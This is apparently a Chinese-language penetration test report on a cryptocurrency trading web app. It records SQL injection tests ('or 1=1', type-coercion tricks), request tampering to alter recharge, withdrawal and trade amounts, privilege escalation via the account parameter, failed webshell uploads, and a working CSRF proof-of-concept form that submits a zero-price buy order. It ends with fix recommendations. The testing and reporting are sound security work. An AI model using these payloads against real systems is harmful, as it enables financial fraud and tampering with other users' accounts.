citi项目渗透测试

可疑点

  1. SQL 注入。
  2. 业务逻辑漏洞。
  3. 水平越权。
  4. 图片上传。
  5. xss(反射、存储)。
  6. CSRF。

测试

SQL 注入

服务器加载比较慢,而且为了测试安全,从仓库 pull 源代码,在本地跑进行测试。
** 主要采取的方法:代码审计,查看后台报错信息;黑盒测试。 **

  1. 查看 SQL 语句执行情况。
    application.yaml
1
2
3
4
mybatis:
# spring boot集成mybatis的方式打印sql
configuration:
log-impl: org.apache.ibatis.logging.stdout.StdOutImpl
  1. 预编译,先占位解决 SQL 注入
  • 原理
    mybatis 默认情况下,将对所有的 sql 进行预编译。mybatis 底层使用 PreparedStatement,过程是先将带有占位符(即”?”)的 sql 模板发送至 mysql 服务器,由服务器对此无参数的 sql 进行编译后,将编译结果缓存,然后直接执行带有真实参数的 sql。核心是通过 #{ } 实现的。
    在预编译之前,#{ } 解析为一个 JDBC 预编译语句(prepared statement)的参数标记符?
  • 分析
    UserMapper.xml
    (1)#
1
2
3
<select id="selectUserByAccount" resultMap="userResultMap">
select * from v_user where account = #{account}
</select>

查看后台处理情况(使用 account 账户 1 和密码 1 进行登录,查看后台 sql 语句)

1
2
3
4
5
6
7
JDBC Connection [HikariProxyConnection@548761230 wrapping com.mysql.cj.jdbc.ConnectionImpl@29572120] will not be managed by Spring
==> Preparing: select * from v_user where account = ?
==> Parameters: 1(String)
<== Columns: id, username, password, account, icon, status, admin
<== Row: 14, null, DqFzSl9t27Hf696hBn82SQ==, 1, null, 0, 0
<== Total: 1
Closing non transactional SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@2b6b45bb]


可疑很清晰看到显示有?占位,对指令语句和数据语句分别进行编译,从根源上解决了 SQL 注入。
(2)${account}
一个很有意思的事情出现了!
1)account = 1

1
2
3
4
5
6
7
8
9
JDBC Connection [HikariProxyConnection@939952256 wrapping com.mysql.cj.jdbc.ConnectionImpl@19df681a] will not be managed by Spring
==> Preparing: select * from v_user where account = 1
==> Parameters:
<== Columns: id, username, password, account, icon, status, admin
<== Row: 12, null, J4Hsbg0u8mpD/ZwVmlWr3g==, 1", null, 0, 0
<== Row: 13, null, L62seSBiMkORDq/plPDjWw==, 1', null, 0, 0
<== Row: 14, null, DqFzSl9t27Hf696hBn82SQ==, 1, null, 0, 0
<== Total: 3
Closing non transactional SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@57a4e160]


select * from v_user where account = 1,出现了三个结果!导致报错。
这是怎么回事呢?我们将命令带入数据库中跑一下看看。

其间还测试了各种情况:1. 1, 1a

1
2
3
4
1 = 0 or 1=“1'”  
1 = 0 or 'a1'=0
1 = 0 or '2'=2
1 = 0 or 'a'=0

以上情况均可查出所有 account 以 1 开头的
这应该是 mysql 的一个特性:转换就是字符中有数字转数字,没数字默认 0,转到字母就停止。
还可以再测试一下’11’=11 和’1a1’=1
可以参考一下 mysql 文档:https://dev.mysql.com/doc/refman/5.7/en/comparison-operators.html
2)account = 1 or 1 = 1

好家伙,全给查出来了,好在没有报错回显。

交易逻辑漏洞

充值提现

  1. 抓包修改 recharge 参数值

  2. 抓包修改 cash 参数值
    提现和充值也是一样可以抓包修改参数,虽然两者总的价值是 $10000,但是用户如果类似于微信支付逻辑一样链接银行卡等信息,可以无限制提现。

交易买入与卖出

ps:解决 Burp 外网抓包代理问题。

  1. 买入
    代码审计得到获取数据是通过连接火币 api,需要 vpn
    抓包快速放掉第 1 个包,修改第二个包参数


  2. 卖出
    和买入一样的思路

水平越权

充值提现

抓包修改 account 参数值
可以随意更改其他用户充值提现情况,同时结合交易逻辑漏洞,可以造成其他用户账户信息混乱。

  1. admin1 用户(昵称:纯情男中专生)
  2. 1 用户(昵称:null)
  3. 抓包修改 1 用户为 admin1 用户
    充值 200

推文

  1. 发布推文
    可以更改昵称伪造其他用户发表推文。
  2. 发布评论
    可以更改昵称伪造其他用户发表评论。
  3. 点赞
    可以更改昵称伪造其他用户点赞。
  4. 交易明细
    可以更改 account 参数值伪造其他用户查看用户具体资产信息。

图片上传

  1. 在头像和推文内容图文上传处,可以上传图片马
  2. 上传后发现解析不了,蚁剑连接不上,不存在文件包含漏洞。
  3. 代码审计分析
    (1)图片后缀的后端写死,无更改可能
1
String picUrl = "D:/Trade-main/trade-server/img/icon/" + uuid + ".png";

(2)图片解析直接调用对应上传后服务器网址图片,再利用 CSS 调整相应大小尺寸,无上传图片马再解析可能。

1
2
3
4
5
6
return {
user,
attachImageUrl: HttpManager.attachImageUrl,
...toRefs(state),
...methods
}
1
2
// 获取图片信息
attachImageUrl: (url) => `${getBaseURL()}/${url}
1
2
3
4
5
6
7
8
9
.head-icon {
position: relative;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
width: 50%;
border-radius: 50%;
border: 1px solid #fff;
}

XSS

  1. 代码审计
    所有参数传值地方都正确使用,从解析方面避免了攻击。
1
{{item.price}}

CSRF

  1. account 获取
    利用爆破或者正则表达式抓包解析可以获取当前用户的 cookie.account
  2. CSRF poc 构造
1
2
3
4
5
6
7
8
9
10
11
<script src="http://code.jquery.com/jquery-latest.js"></script>
<script src="http://cdn.bootcss.com/jquery/1.12.2/jquery.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery.serializeJSON/2.9.0/jquery.serializejson.js"></script>
<form id=payment action="http://124.220.209.244:8005/buy" method=POST>
<input type="text" name="bc" value="ht" />
<input type="text" name="qc" value="usdt" />
<input type="text" name="price" value="0.0" />
<input type="text" name="size" value="48" />
<input type="text" name="account" value="1" />
<input type="submit" value="Submit request" />
</form>

修复建议

交易逻辑漏洞

  1. 充值提现
  • 对参数(account、recharge、cash)值进行非对称加密,是攻击者无法篡改参数值。
  • 对虚拟币 USDT 兑换前进行逻辑判断,兑换后小于 0 不予以兑换(防止连接银行卡长生无限提现情况)
  1. 交易买入与卖出
  • 对参数(bc、qc、price、size、accont)值进行非对称加密,是攻击者无法篡改参数值。这里还看了以下,account 这些是从 cookie 中获取,cookie 一般会进行加密,所以也需要对 cookie 加密。

CSRF

参考:https://blog.csdn.net/allway2/article/details/122786570

  1. 增加 token 令牌,springboot 框架有防 csrf 的相应包和代码,对应调用即可。
访问量 访客